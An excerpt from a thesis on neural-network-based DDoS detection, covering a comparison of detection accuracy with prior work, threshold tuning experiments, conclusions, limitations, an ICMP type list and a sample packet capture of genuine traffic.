Chapter 3, we aim to measure Detection Accuracy, Specificity, FPR, Precision and 
Sensitivity, in conditions as close as possible to realistic scenarios. Therefore, the following 
variables were taken into account when we compared and evaluated our results.  
1. Type of the datasets used to train the ANN.  
a. Generated from real network environments or simulators. 
b. A Third party dataset. 
c. Made up of old or up-to-date datasets. 
2.  Were the final results tested.  
a. Using real network environments or simulators. In simulation environments 
algorithms might work fine, but when the end product is moved to a real 
environment, the solution might introduce false alarm.  
3.  Zero-day DDoS attack detection.  
4.  Detection and Defence Accuracies. 
 
We considered each of the papers recorded in Table 7-18 and analysed them according to 
the points above. However, some of them do not provide all of the above information as part 
of their research.  
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I. Probabilistic Neural Network based attack traffic classification [2]: This 
approach uses an ANN algorithm to detect DDoS attacks and genuine traffic. In this 
paper, the authors do not explain the process of training, defence or testing of their 
approach. However, they evaluated their work over two periods: period one produced 
92% and period two produced 97% Detection Accuracy. The False Alarm detection 
rate recorded 1% and 0. 
 
II. Early Warning System for DDoS Attacking Based on Multilayer Deployment of 
Time Delay Neural Network [226]: The authors use a Time Delay Neural Network to 
introduce early warning DDoS detection. In their approach, the authors provide 
statistical data to verify their Detection Accuracy. Their approach achieved 83% 
Detection Accuracy and Sensitivity. The firewall concept (see Chapter 5) is used to 
defend against DDoS attacks, but no values are provided to support the defence 
accuracy. Meanwhile, the process of training (datasets), testing or evaluation is not 
explained in [226]. 
 
III. DDoS Attack Detection Based on Neural Network [102]: Similar to our approach, 
this approach uses Back-Propagation to detect DDoS attacks. The authors used 
network simulations to obtain their datasets and test their outcome. The DDoS tools 
and methodologies used for testing [102] are old methodologies (e.g. Ping of Death). 
However, their approach produced 89.9259% Detection Accuracy.  
 
IV. Detecting DoS and DDoS Attacks Using Chi-Square [101]: The authors use 
statistics (Chi-Square) to detect DDoS attacks. The Detection Accuracy for this 
approach was measured as 94.63%, 92.76% (Sensitivity) and 7.24% (Specificity) with 
3.5% False Alarms. This approach was tested in a real network environment, but the 
number of zombies and type of attack methodologies were limited. For example, only 
40 zombies were used to test the outcome and only one type of attacking tool 
(Trinoo) was used to launch the attack. 
 
V. Improved Detection Approach for Distributed Denial of Service Attack Based on 
SVM [242]: The authors used a SVM data mining approach to detect DDoS attack 
that provided 96.5% detection Sensitivity. However, the authors used old datasets 
(KDD-cup 1999) to train their approach. This approach [242] does not provide 
defence accuracy values or knowledge of unknown DDoS detection.  
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VI. Collaborative Detection of DDoS Attacks over Multiple Network Domains [33]: 
This approach uses network infrastructure to detect DDoS attack with 98% Detection 
Accuracy. However, [33] used simulation to create and test their approach for 
detecting DDoS attacks. Furthermore, the accuracy of detection was based on one 
attacking methodology (Stacheldraht).  
 
VII. Agent-based network intrusion detection system using data mining approaches 
[105]: As stated, this approach uses a data mining approach to detect various 
attacks, including DDoS attacks. However, the authors used datasets from MIT 
Lincoln Laboratory (old datasets) to train the algorithm. This approach provided 
information about general unknown attacks, but the authors provided no values.  
 
VIII. An ISP Level Solution to Combat DDoS Attacks using Combined Statistical 
Based Approach [77]: The authors used a statistical approach to combat DDoS 
attacks with a 98% Detection Accuracy and 2.9% False Alarm rate. However, this 
approach used network simulators for testing and verification.  
 
IX. An Intrusion-Detection Model Based on Fuzzy Class-Association-Rule Mining 
Using Genetic Network Programming [108]: The authors of this approach used 
MIT Lincoln Laboratory (old datasets) to train their approach, which produced 95% 
Sensitivity. This approach does not provide a defence mechanism to detect against 
known and unknown attacks.  
 
X. DDoS defense system with Turing test and neural network [84] and Statistical 
Approaches to DDoS Attack Detection and Response [66]: Both approaches 
explain the process of detecting DDoS attacks. However, neither approach provides 
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Based on the comparison analysis explained above, we can evaluate and verify our 
contribution in the following points.   
 Our approach (DDoS Detector) produced on average 98.17% detection and defence 
accuracy coupled with 97.05% Sensitivity. Furthermore, our approach provided 100% 
Specificity and Precision with 0% False Alarm. These values cover high or low rate 
genuine traffic, known and unknown DDoS attacks. Our approach respectively 
introduced 4.84%, 15.17%, 1.17%-6.17%, 3.54%, 8.24% higher Detection Accuracy 
than Snort, [226], [2], [101], and [102]. Also, the Detection Accuracy of our approach 
is higher than [77] and [33] by 0.17%. However, both [77] and [33] approaches used 
simulation to detect and test their approaches, while we tested our DDoS Detector in 
real network environments. Furthermore, our approach produced 7.05% higher 
Sensitivity rate than Snort, 14.05% than [226], 4.29% than [101], 2.05% than [108] 
and 0.55% than [242]. However, we did not compare Specificity, Precision and FPR 
since our records show 100% and 0 value respectively.  
 On average, our approach contributed 4.93% (approximately 5%) DDoS Detection 
Accuracy and 5.59% Sensitivity higher than all the other best approaches described 
in Table 7-18. However, if our approach were trained with old dataset (Table 7-14), 
then the Detection Accuracy of our approach would be reduced by approximately 6%. 
Hence, it is always vital to train ANN with up-to-date datasets to increase the 
detection rate.  
 To further break down our contribution, we launched 580 known and 580 unknown 
DDoS attacks. On average our approach detected 95.17% of unknown DDoS attacks 
(552 attacks detected) and 100% of known DDoS attacks. This means our solution 
failed to detect approximately 5% of unknown DDoS attacks. This is expected, 
because as explained in Chapter 4 and Chapter 5, the ANN only detects attacks that 
are similar to those it was trained with and 5% of the attacks were completely 
different.  
 The defence accuracy of our approach is 98.17% (on average). This is expected 
since our defence component activates on the basis of the detection system´s output. 
This means, the value of the defence accuracy cannot be higher or lower than the 
detection accuracy. If the value is different, then this indicates a technical issue in the 
implementation. 
 
It is worth pointing out here that our solution yielded such an outcome based on our 
environments, experiments, datasets, and selection of patterns; and not the environments 
and datasets used by other approaches as shown in Table 7-18. This is due to a lack of 
access to datasets, patterns and environments of other approaches. Accordingly, our 
comparison is based on their final results.  Hence, we only compare our results to the results 
provided in Table 7-18 in terms of Accuracy, Sensitivity, Specificity, and Precision.   
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Furthermore, the FPR values reported here were calculated in order to enable the 
comparison to be made with the FPR values reported in other studies (Table -7-18). False 
Negative Rate (FNR) values were not calculated here since previous studies have not 
reported FNR values for comparison. However, in general it is expected that FPR values and 
FNR values will differ from one another since the former measures the proportion of false 
alarms, while the latter measures the proportion of missed attacks.  
 
7.6 Changing Threshold Values 
In Chapter 5, Section 5.5.1, we explained the purpose of thresholds in our DDoS Detectors. 
We have, however, adjusted the values of each TCP, UDP and ICMP threshold to high, low 
and existing (Table 7-19). Then we observed the‎ DDoS‎ Detector’s‎ response‎ in‎ detecting‎
DDoS attacks and recorded their detection accuracy in Table 7-21. 
Protocols  
Current Thresholds per 
protocol per packets 
New thresholds. Greater than 
current thresholds  
New thresholds. Smaller than 
current thresholds 
ICMP 600 1500 400 
TCP 4000 5500 2000 
UDP 4000 5000 2000 
 
Table  7-19: Changing threshold values. 
 
In the experiment, we used 80 zombies to launch 60 separate and mixed TCP, UDP and 
ICMP DDoS attacks and 60 rounds of genuine traffic in environment two. The results are 
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Table  7-20: High, low and existing thresholds to detect DDoS attacks. 
 
We learned from these experiments (Table 7-20) that increasing the threshold values 
decreases the DDoS detection process. This is because packets are retrieved and analysed 
by the ANN engine only when the number of packets is greater than the thresholds. In this 
case the flow of network traffic is lower than the threshold values and packets are subject to 
investigation when the number of packets passing through is greater than threshold values. If 
we reduce the threshold values, the DDoS Detectors retrieve all packets passing through, 
making appropriate decisions about genuine and attack traffic. However, this increases CPU 
utilisation and system resource consumption to 100%, since CPU resources are continuously 
used to retrieve and analyse the packets. Based on the results from Table 7-20, we 
calculated the Detection Accuracy when the thresholds are low, high and existing and 
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Table  7-21: Detection Accuracy and threshold adjustment. 
 
The CPU utilisation average values shown in Table 7-21 are measured using the operating 
system´s built-in service tool when DDoS attacks and genuine traffic are active. With the 
exception of the middle raw minimum and maximum values, the CPU utilisation reduces after 
mitigating a DDoS attack. However, the minimum and maximum CPU utilisation values of the 
middle raw do not change. 
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 This is because the DDoS Detector continuously monitors and retrieves packets from the 
network as the number of packets flowing through the DDoS Detector is higher than its 
threshold value. As also shown above, high threshold values produce a Detection Accuracy of 
58% while low and existing threshold values produce 98% Detection Accuracy. However, a 
low threshold value produced 100% CPU utilisation while the existing threshold produced an 
average of 70% CPU utilisation (during high traffic). As mentioned in Chapter 3, one of the 
primary objectives of this work is to introduce high Detection Accuracy. The results of our 
experiments (Table 7-21) show that the existing threshold provides high Detection Accuracy 
with a reasonable CPU utilisation. Therefore, the existing thresholds we have selected (see 
Chapter 5) are suitable for the existing experimental network environments.  
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7.7 Summary 
In this Chapter, we have explained the process of extending the testing process to evaluate 
our detection and mitigation accuracies. We have used two environments to launch TCP, 
UDP, ICMP and mixed known and unknown DDoS attacks, each with a high number of 
zombies. Our proposed solution produced 98.17% detection and mitigation accuracy, which is 
on average 4.93% (approximately 5%) higher than Snort and other best related academic 
works that we compared our solution with. However, our Detection Accuracy decreases by 
6% if old training datasets are used to detect known and unknown DDoS attacks. Therefore, 
training the ANN algorithm with up-to-date patterns is vital for accurate detection. We further 
evaluated the accuracy of our detection process by increasing and decreasing the threshold 
values and re-examining the detection process. We identified that increasing the threshold 
value decreases the Detection Accuracy since the numbers of packets to be retrieved for 
analysis is lower than the increased thresholds, and decreasing the threshold values does not 
provide any technical value to our proposed solution since the Detection Accuracy is 
measured as 98% with 100% CPU usage. Therefore the existing threshold values are 
appropriate for our proposed solution. In Chapter 8, we summarise our work and suggest 
further improvements where applicable. 
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Chapter 8 – Conclusions & Suggestions for Further Research  
8.1 Introduction  
In this Chapter, we conclude our thesis by briefly summarising the work and the results we 
have achieved on the basis of our contribution. Then, we outline some suggestions for future 
research that can further our approach.  
8.2 Summary of Our Work 
For this summary, we adopt an itemised format.  
1. The purpose of this study is to detect and mitigate known and unknown DDoS attacks 
before they reach the victim.  
2. We selected DDoS attacks due to the deficiencies in existing approaches in 
comparison with other security domains to detect known and unknown DDoS attacks 
and DDoS attackers´ ability to crash or overload a destination. 
3. We only selected TCP, UDP and ICMP DDoS attacks due to their popularity among 
DDoS attackers (see Chapter 1), and left other types of DDoS attacks for future 
research.  
4. To define an approach that detects known and unknown DDoS attacks we: 
a. Studied and learned how DDoS attackers built their approaches through 
testing available DDoS attack methodologies. 
b. Reviewed many related academic and industrial DDoS detection 
mechanisms where applicable. 
5. We therefore learned about the existing approaches and analysed them according to 
environments, algorithms, methodologies, and Detection Accuracy (Chapter 2).  
6. Then, we built physical environments to test and analyse forged packets generated 
by the DDoS methodologies and genuine packets that are generated from genuine 
applications (Chapter 4).  
7. From point 6, we learned that DDoS designers use their own custom code as 
opposed to operating system resources to generate packets. This allows DDoS 
attackers to have better control over the packet type, which makes it more effective.  
8. To extend our knowledge, we began by learning and investigating the background 
information and fundamental concepts of all related technologies that are involved in 
DDoS attacks (Chapter 1). 
9. From points 7 and 8, we identified that DDoS attackers change specific protocol 
header patterns to confuse the detection system or indeed the destination. Such an 
approach assists DDoS attacks to look genuine and, hence, bypass detection 
system. Therefore, we focused on protocol headers to detect DDoS attacks.  
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10. By incorporating points 6 to 9, we selected specific patterns that separate genuine 
traffic from DDoS attacks (Chapter 4).  
11. Then, we selected ANN to detect known and unknown DDoS attacks based on 
patterns identified from point 10. ANN was selected due to its ability to detect known 
and unknown patterns that are similar to those it was trained with (see Chapter 1, 
Section 1.5 and Chapter 3, Section 3.4). 
12. Most traditional approaches use volume limitation and signature based detection 
systems to control their traffic. In signature based detection systems, an administrator 
is required to include rules and signatures (database) to detect old and known 
attacks. Our approach uses the ANN algorithm to detect known and unknown DDoS 
attacks. Therefore, no administration is required and any unknown (zero-day) attacks 
that are based on the familiar DDoS attacks are detected. A volume limitation 
approach is used when the volume is higher than a certain threshold. This normally 
results in genuine and DDoS traffic volumes both being dropped equally. Our 
approach, however, drops DDoS attacks based on the detection components output.  
13. However, the ANN needs to be trained with different datasets that represent patterns 
mentioned in point 10.  
14. To train the ANN, one can either use the existing old datasets or generate an up-to-
date dataset that contains most recent patterns. We selected up-to-date datasets that 
cover old and new patterns (Chapters 4 and 5). However, we trained ANN with old 
patterns just to identify the ANN´s response when detecting known and unknown 
DDoS attacks (See Chapter 7).  
15. To generate datasets, we built realistic corporative safe environments where we 
launched different TCP, UDP and ICMP DDoS attacks coupled with genuine traffic 
that was generated by genuine applications.  
16. The datasets were prepared in the format that JNNS accepts to train our ANN 
algorithm (off-line). We selected 80% of the datasets to train the learning algorithm 
and 20% to verify the training process.  
17. Then, we designed and implemented our solution (Chapters 6 and 7), where the 
process can be summarised in the following points: 
a. Retrieve packets from the network based on thresholds.  
b. Organise and calculate the packets for the ANN engine to verify the 
legitimacy of the retrieved packets.  
c. The output is either 1 = attack, 0 = normal or 2 = unidentified traffic.   
d. If the output is 1, the defence component activates and drops the forged 
packets, but if the output is 0, then no action is required. However, if the 
output is 2, the defence component relies on the output that it receives from 
other DDoS Detectors.  
e. Destination and type of the attack (or genuine traffic) are distributed to all 
other DDoS Detectors for the purpose of awareness (step 17, part d).  
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f. The proposed system loops back and retrieves packets from the network for 
further monitoring. The defence component releases restriction if the traffic to 
the same destination is verified as genuine by the ANN engine. In all  cases, 
genuine traffic is  untouched and unobstructed.  
18. To accurately test our solution, we used physical environments to evaluate our 
approach against known and unknown DDoS attacks. We used Detection Accuracy, 
Sensitivity, Specificity, and False Positive Rate to evaluate our approach vis-à-vis 
other approaches. 
 
8.3 Conclusions and Contributions  
Based on the discussion so far, one can outline the contributions of this thesis in the following 
points. 
 
1. As shown in Chapter 7, Section 7.5, our approach resulted in 98.17% Detection 
Accuracy (genuine traffic and DDoS attacks). This is 4.93% (approximately 5%) 
higher than other related approaches described in Chapter 7, Table 7-18. 
Furthermore, our work introduced 97.05% Sensitivity, which is again 5.59% higher 
than all other approaches described in Table 7-18. 
2. Out of similar contributions, our solution was able to detect 95% of unknown DDoS 
attacks and 100% of known DDoS attacks - similar to the DDoS attack patterns that 
are used to train the ANN. This means the DDoS Detector was unable to detect only 
5% of unknown DDoS attacks. This was expected because there is no such thing as 
100% detection, and our ANN engine was able to detect DDoS attacks that are 
similar to those it was trained to detect. Our solution yielded such positive results in 
comparison with other solutions shown in Table 7-18 because it: 
a. Identified the patterns that are most popular with DDoS attackers to launch 
their attacks by practically examining all the TCP, UDP and ICMP DDoS 
attacks in real physical environments using different DDoS methodologies 
and tools as described in Chapters 4, 6 and 7.   
b. Avoided simulations to generate datasets, and instead used real physical 
environments to generate datasets and to test our end product; while most 
other approaches, reviewed in Chapter 7, Table 7-18, use simulators to 
produce datasets and investigate their solutions.  
c. Avoided old datasets as our experiments showed reduction in Detection 
Accuracy of 6% (Chapter 7, Section 7.5). This means a lack of up-to-date 
patterns can introduce a significant decrease in Detection Accuracy. The 
approaches described in Chapters 2 and 7, Table 7-18, as they indicated use 
old datasets, most of which do not show effectiveness.  
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d. Used various DDoS tools to deploy DDoS attacks with more than 180 
zombies, while other relevant studies use a maximum of two tools to 
investigate their approaches (Chapter 7, Table 7-18). (Chapter 7, Table 7-
18).  
3. Could deploy our DDoS Detector as a standalone or distributed solution to detect, 
mitigate DDoS attacks. The Detector is also designed to share knowledge of attacks 
with our DDoS Detectors via encrypted messages to assist the detection process 
when required. The DDoS Detector sends emails to the Security Officers when DDoS 
attacks and high volume of genuine traffic are identified. Such a mechanism can be 
used for the purpose of forensics or logistics. 
4. Investigated and analysed in an in-depth manner architectural structure, weakness, 
strength, and code structure of DDoS attacks. Such an investigation assisted us to 
learn about the popular patterns that are most used by DDoS attackers to launch their 
attacks. 
 
Thus, environments, type of datasets and experiments can improve the detection process. 
However, the following conditions (assumptions) must apply.  
 Mixed or separate TCP, UDP and ICMP DDoS attacks with or without genuine traffic 
are launched/used.  
 The DDoS attacks are not encrypted. This means, the patterns used to identify the 
attacks are not encrypted.  
 The unknown DDoS attacks have similar characteristic features as the DDoS attacks 
used in training the ANN. In other words, the attacker uses similar patterns as used 
for training the ANN algorithm.  
 The DDoS Detector uses our selected threshold values described in Chapter 5. 
Otherwise new threshold values must be used that reflect the new environment. Our 
selected threshold values are based on our environments and experiments and other 
environments may require different threshold values. As also explained in Section 
8.4, this is considered to be one of the limitations of our solution.  
 
Like all other research approaches in this ever-changing and complex field of study, our 
approach can benefit from suggestions for further research, particularly regarding 
maintenance issues. This is what Section 8.4 below outlines.  
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8.4 Limitations and Suggestions for Further Research  
Regarding our approach, the following points provide suggestions for further research. 
Un-expected DDoS Attack: Our solution has problems detecting DDoS attacks when the 
protocol headers are encrypted with any encryption algorithms (refer to Chapter 6, Section 
6.4.3). However, an encrypted DDoS attack is not a common approach since the attack is 
slow and introduces high latency.   
Updating the datasets and re-training: Based on our experiments explained in Chapter 7, 
Section 7.3, using old datasets can introduce a lack of unknown DDoS detection. The DDoS 
tools that have been used to generate old datasets go back to early the 2000s, up to 2003, 
and they are no longer effective. However, the DDoS tools used to generate up-to-date 
datasets are dated between 2000 and  2012.  With old datasets (attacks that go back to 2000-
2003), the Detection Accuracy is 92%, while with up-to-date datasets (attacks between 2000 
and 2012), the Detection Accuracy is 98%. This means the ANN algorithm requires retraining 
every 5 to 6 years, since the Detection Accuracy difference between old datasets and up-to-
date datasets is 6%. The solution here may be the introduction of an online interactive engine 
that continuously searches the Internet for new DDoS attack information. The engine would 
retrieve the patterns from the Internet and prepare them as datasets to continuously and 
automatically retrain the ANN whenever required.      
Changing threshold values: Our experiments reported in Chapter 7, Section 7.6, show that 
changing the threshold values to higher values decreases detection, and that lowering the 
threshold values does not introduce higher Detection Accuracy, but rather increases CPU 
usage in the network. Such thresholds as we defined are suitable, based on our experiments, 
but it is almost impossible to check this in every network. Therefore, the end users must test 
and find the appropriate threshold that suits their environment before deployment. However, 
as future work, one could introduce a generic threshold that can automatically adapt to any 
possible environment.  
Our approach in simulated environment: Our approach has not been tried or tested in a 
simulated environment. One could reproduce our work in such an environment to verify and 
compare the Detection Accuracy of our DDoS Detectors in real and simulated environments. 
The above four limitations serve as suggestions for future research, to further improve our 
detection solution, to detect encrypted DDoS attacks using online trainable datasets and 
generic thresholds. 
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Following represent different ICMP types. 
0  Echo Reply       
1 Unassigned       
2 Unassigned       
3 Destination Unreachable  
4 Source Quench (Deprecated) 
5 Redirect         
6 Alternate Host Address (Deprecated)      
7 Unassigned       
8 Echo     
9 Router Advertisement     
10 Router Solicitation      
11 Time Exceeded    
12 Parameter Problem        
13 Timestamp        
14 Timestamp Reply  
15 Information Request (Deprecated)         
16 Information Reply (Deprecated)   
17 Address Mask Request (Deprecated)        
18 Address Mask Reply (Deprecated)  
19 Reserved (for Security)  
20-29   Reserved (for Robustness Experiment)     
30 Traceroute (Deprecated)  
31  Datagram Conversion Errors (Deprecated)   
32 Mobile Host Redirect (Deprecated)        
33 IPv6 Where-Are-You (Deprecated)  
34 IPv6 I-Am-Here (Deprecated)      
35 Mobile Registration Request (Deprecated)         
36 Mobile Registration Reply (Deprecated)   
37 Domain Name Request (Deprecated)         
38 Domain Name Reply (Deprecated)   
39 SKIP (Deprecated)        
40 Photuris         
41 ICMP messages utilized by experimental mobility protocols such as Seamoby     
42-252 Unassigned       
253 RFC3692-style Experiment 1       
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Appendix 3-1 
In this experiment, we are checking web resource availability when a web server is under 
DDoS attack. The experiment is explained in the following diagram and executed in 
environment one (see Chapter 6 for environments one and two).  
 
 
Number of Zombies Time to respond to PC-genuine requests. 
20 2 seconds 
40 8 seconds 
60 15 second 
80 25 seconds 
100 60 seconds 
200 Responds failed. 
 
From the above values, more time is required to gain web resource access as we increase 
the number of zombies. This is because the strength of the attack increases respectively. 
However, the strength of the attack can be reduced if the DDoS attacks are detected earlier 
on either networks 1 and 2, before reaching the target. This results in blocking forged packets 
while allowing genuine requests (PC-genuine) to reach the destination.  
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Appendix 4-1  
 
Following is sample example of genuine traffic, for more genuine traffic; refer to our provided 
digital CD.  
 
13:19:59.661780 IP 10.0.0.3.49211 > 31.13.64.145.22: Flags [.], ack 41935, win 32249, 
options [nop,nop,TS val 1347600159 ecr 3430089424], length 0 
13:19:59.775266 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 41935:43383, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 1448 
13:19:59.775313 IP x.x.x.x.234 > 10.0.0.3.49211: Flags [P.], seq 43383:43460, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 77 
13:19:59.775332 IP 10.0.11.3.49211 > x.x.x.x.80: Flags [.], ack 43460, win 32541, options 
[nop,nop,TS val 1347600272 ecr 3430089538], length 0 
13:19:59.775633 IP x.x.x.x.23 > 10.0.0.3.49211: Flags [.], seq 43460:44908, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 1448 
13:19:59.775717 IP 10.0.0.3.49211 > x.x.x.x.8080: Flags [.], ack 44908, win 33304, options 
[nop,nop,TS val 1347600272 ecr 3430089538], length 0 
13:19:59.776318 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 44908:46057, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 1149 
13:19:59.776347 IP 10.12.0.3.49211 > 31.18.6.145.22: Flags [.], ack 46057, win 32729, 
options [nop,nop,TS val 1347600273 ecr 3430089538], length 0 
13:19:59.777127 IP x.x.x.x.632 > 10.0.0.3.49211: Flags [.], seq 46057:47505, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 1448 
13:19:59.777436 IP x.x.x.x.80 > 10.0.0.3.49211: Flags [.], seq 47505:48953, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 1448 
13:19:59.777456 IP 120.2.0.3.49211 > x.x.x.x.80: Flags [.], ack 48953, win 32580, options 
[nop,nop,TS val 1347600274 ecr 3430089538], length 0 
13:19:59.777756 IP x.x.x.x.80 > 10.0.0.3.49211: Flags [.], seq 48953:50401, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 1448 
13:19:59.777801 IP 101.0.2.3.49211 > x.x.x.x.4: Flags [.], ack 50401, win 33304, options 
[nop,nop,TS val 1347600274 ecr 3430089538], length 0 
13:19:59.778004 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 50401:51626, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 1225 
13:19:59.778026 IP 10.0.0.3.49211 > x.x.x.x.443: Flags [.], ack 51626, win 32691, options 
[nop,nop,TS val 1347600274 ecr 3430089538], length 0 
13:19:59.778122 IP x.x.x.x.80 > 10.0.0.3.49211: Flags [P.], seq 51626:51720, ack 767, win 
208, options [nop,nop,TS val 3430089538 ecr 1347600159], length 94 
13:19:59.778138 IP 10.12.0.3.49211 > x.x.x.x.443: Flags [.], ack 51720, win 33257, options 
[nop,nop,TS val 1347600274 ecr 3430089538], length 0 
13:19:59.778444 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 51720:53168, ack 767, win 
208, options [nop,nop,TS val 3430089539 ecr 1347600159], length 1448 
13:19:59.778544 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 53168:53245, ack 767, win 
208, options [nop,nop,TS val 3430089539 ecr 1347600159], length 77 
13:19:59.778559 IP 10.0.0.3.49211 > x.x.x.x.443: Flags [.], ack 53245, win 33265, options 
[nop,nop,TS val 1347600275 ecr 3430089539], length 0 
13:19:59.778865 IP x.x.x.x.80 > 10.0.0.3.49211: Flags [P.], seq 53245:53990, ack 767, win 
208, options [nop,nop,TS val 3430089539 ecr 1347600159], length 745 
13:19:59.778885 IP x.x.x.x.49211 > x.x.x.x.80: Flags [.], ack 53990, win 32931, options 
[nop,nop,TS val 1347600275 ecr 3430089539], length 0 
13:19:59.779842 IP x.x.x.x.22 > 10.0.0.3.49211: Flags [.], seq 53990:55438, ack 767, win 
208, options [nop,nop,TS val 3430089540 ecr 1347600159], length 1448 
13:19:59.779891 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 55438:55515, ack 767, win 
208, options [nop,nop,TS val 3430089540 ecr 1347600159], length 77 
13:19:59.779915 IP 12.3.4.3.49211 > x.x.x.x.22: Flags [.], ack 55515, win 32541, options 
[nop,nop,TS val 1347600276 ecr 3430089540], length 0 
13:19:59.780143 IP x.x.x.x.33 > 10.0.0.3.49211: Flags [P.], seq 55515:56356, ack 767, win 
208, options [nop,nop,TS val 3430089540 ecr 1347600159], length 841 
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13:19:59.780177 IP 104.10.30.53.49211 > x.x.x.x.80: Flags [.], ack 56356, win 32883, options 
[nop,nop,TS val 1347600276 ecr 3430089540], length 0 
13:19:59.780460 IP x.x.x.x.80 > 10.0.0.3.49211: Flags [.], seq 56356:57804, ack 767, win 
208, options [nop,nop,TS val 3430089543 ecr 1347600159], length 1448 
13:19:59.780550 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 57804:57881, ack 767, win 
208, options [nop,nop,TS val 3430089543 ecr 1347600159], length 77 
13:19:59.780571 IP 102.30.0.33.49211 > x.x.x.x.443: Flags [.], ack 57881, win 33265, options 
[nop,nop,TS val 1347600276 ecr 3430089543], length 0 
13:19:59.780881 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 57881:59329, ack 767, win 
208, options [nop,nop,TS val 3430089543 ecr 1347600159], length 1448 
13:19:59.781152 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 59329:60478, ack 767, win 
208, options [nop,nop,TS val 3430089543 ecr 1347600159], length 1149 
13:19:59.781174 IP 103.0.0.33.49211 > x.x.x.x.443: Flags [.], ack 60478, win 32729, options 
[nop,nop,TS val 1347600277 ecr 3430089543], length 0 
13:19:59.781747 IP x.x.x.x.443 > 10.0.0.6.49211: Flags [.], seq 60478:61926, ack 767, win 
208, options [nop,nop,TS val 3430089543 ecr 1347600159], length 1448 
13:19:59.782001 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 61926:62983, ack 767, win 
208, options [nop,nop,TS val 3430089543 ecr 1347600159], length 1057 
13:19:59.782022 IP 103.60.70.3.49211 > 35.143.164.45.443: Flags [.], ack 62983, win 32775, 
options [nop,nop,TS val 1347600278 ecr 3430089543], length 0 
13:19:59.782149 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 62983:63358, ack 767, win 
208, options [nop,nop,TS val 3430089543 ecr 1347600159], length 375 
13:19:59.782173 IP 10.30.0.43.49211 > x.x.x.x.443: Flags [.], ack 63358, win 33116, options 
[nop,nop,TS val 1347600278 ecr 3430089543], length 0 
13:19:59.784023 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 63358:64806, ack 767, win 
208, options [nop,nop,TS val 3430089546 ecr 1347600159], length 1448 
13:19:59.784091 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 64806:64883, ack 767, win 
208, options [nop,nop,TS val 3430089546 ecr 1347600159], length 77 
13:19:59.784111 IP 103.20.03.3.49211 > x.x.x.x.443: Flags [.], ack 64883, win 32541, options 
[nop,nop,TS val 1347600280 ecr 3430089546], length 0 
13:19:59.784422 IP x.x.x.x.443 > 10.0.0.7.49211: Flags [.], seq 64883:66331, ack 767, win 
208, options [nop,nop,TS val 3430089546 ecr 1347600159], length 1448 
13:19:59.784512 IP 102.20.30.33.49211 > 131.123.634.15.443: Flags [.], ack 66331, win 
33304, options [nop,nop,TS val 1347600280 ecr 3430089546], length 0 
13:19:59.784689 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 66331:67480, ack 767, win 
208, options [nop,nop,TS val 3430089546 ecr 1347600159], length 1149 
13:19:59.784713 IP 103.40.20.13.49211 > x.x.x.x.443: Flags [.], ack 67480, win 32729, 
options [nop,nop,TS val 1347600280 ecr 3430089546], length 0 
13:19:59.785322 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 67480:68928, ack 767, win 
208, options [nop,nop,TS val 3430089546 ecr 1347600159], length 1448 
13:19:59.785634 IP x.x.x.x.443 > 10.0.0.6.49211: Flags [.], seq 68928:70376, ack 767, win 
208, options [nop,nop,TS val 3430089546 ecr 1347600159], length 1448 
13:19:59.785655 IP 104.20.40.33.49211 > x.x.x.x.443: Flags [.], ack 70376, win 32580, 
options [nop,nop,TS val 1347600281 ecr 3430089546], length 0 
13:19:59.785912 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [P.], seq 70376:71577, ack 767, win 
208, options [nop,nop,TS val 3430089546 ecr 1347600159], length 1201 
13:19:59.785931 IP x.x.x.x.49211 > 11.123.4.15.443: Flags [.], ack 71577, win 32703, options 
[nop,nop,TS val 1347600281 ecr 3430089546], length 0 
13:19:59.802550 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 71577:73025, ack 767, win 
208, options [nop,nop,TS val 3430089565 ecr 1347600159], length 1448 
13:19:59.802950 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 73025:74473, ack 767, win 
208, options [nop,nop,TS val 3430089565 ecr 1347600159], length 1448 
13:19:59.802975 IP 10.0.0.3.49211 > x.x.x.x.443: Flags [.], ack 74473, win 32580, options 
[nop,nop,TS val 1347600298 ecr 3430089565], length 0 
13:19:59.804423 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 74473:75921, ack 767, win 
208, options [nop,nop,TS val 3430089565 ecr 1347600159], length 1448 
13:19:59.804519 IP x.x.x.x.49211 > 30.1.6.8.443: Flags [.], ack 75921, win 33304, options 
[nop,nop,TS val 1347600299 ecr 3430089565], length 0 
13:19:59.808384 IP x.x.x.x.443 > 10.0.0.7.49211: Flags [.], seq 75921:77369, ack 767, win 
208, options [nop,nop,TS val 3430089571 ecr 1347600272], length 1448 
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13:19:59.808780 IP x.x.x.x.443 > 10.0.0.3.49211: Flags [.], seq 77369:78817, ack 767, win 
208, options [nop,nop,TS val 3430089571 ecr 1347600272], length 1448 
13:19:59.808805 IP 102.20.20.3.49211 > x.x.x.x.443: Flags [.], ack 78817, win 32580, options 
[nop,nop,TS val 1347600302 ecr 3430089571], length 0 
